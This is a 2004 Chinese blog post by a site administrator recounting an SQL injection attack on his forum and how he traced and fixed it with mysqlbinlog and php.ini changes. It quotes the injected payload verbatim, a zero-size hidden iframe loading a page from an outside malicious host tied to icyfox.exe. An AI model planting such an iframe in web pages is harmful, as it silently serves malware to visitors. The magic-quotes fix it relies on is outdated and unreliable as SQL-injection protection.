« VSFTPD+MySQL虚拟用户配置 | 首 页 | 阿衍的blog建好了 »

2004 年 11 月 29 日

关于SQL Injection的经历

| 分类: 服务器日志 Server Log |

今天又体会了一下"愚人"的味道.早上起来发现bbs的帖子里面有人报告病毒,期初还不相信,没想到果然网页的title被人嵌入了<iframe> ,这里也报告一下这个网址吧,以后大家可要注意了.(千万别打开下面这个网址哦)
嵌入代码:
<iframe src=http://www.akoak.com/mf/1.htm width=0 height=0></iframe>

查了一下果然是 icyfox.exe 搞的鬼. 点击这里查看所有关于 icyfox.exe 的解释

Exceed PHP《用PHP函数解决SQL injection》 已经把问题说明的很清楚了。我居然没有把 PHP 的 magic-quotes-gpc 打开。 这次吸取教训了。
详细请阅读: PHP 的 章 16. 安全

关于 MySQL 的一些tips:
参阅 8.5 The mysqlbinlog Binary Log Utility
另外学到的是 /usr/local/mysql/yorudomain-bin.00x 是所有 mysql的执行记录,可以查询曾经的插入记录。

另外,mysqlbinlog可以把2进制日志换成文本, 打开 binary 日志用
mysqlbinlog binarylog | grep iframe | > attacker.sql

修改 php.ini 记录

safe_mode = On

; Magic quotes
;

; Magic quotes for incoming GET/POST/Cookie data.

magic_quotes_gpc = On

; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = On

因为我们家阿菜说


gpc 所有网页get ,post和发送cookie时对' " 和/转义,
sybase 因为sql语法特殊,只有' 转义:如果sybase on,会重载掉gpc的,所以sybase要off。
runtime则是所有核心输出return的结果都被转义,这个包括数据库读出等等,所以要看会不会影响论坛。。。。如果没有任何影响,则on。一般都是可以on的

(END)

引用

引用本文的 URL:
http://weblog.kreny.com/cgi-bin/mt/mt-tb.cgi/167.

发表评论

(如果您还为在此成功留言,也许是因为需要管理员逐一审核留言内容后放可看到您的评论。请稍后并感谢您的耐心等待。)

阅览更多文章请访问 首页过去的存档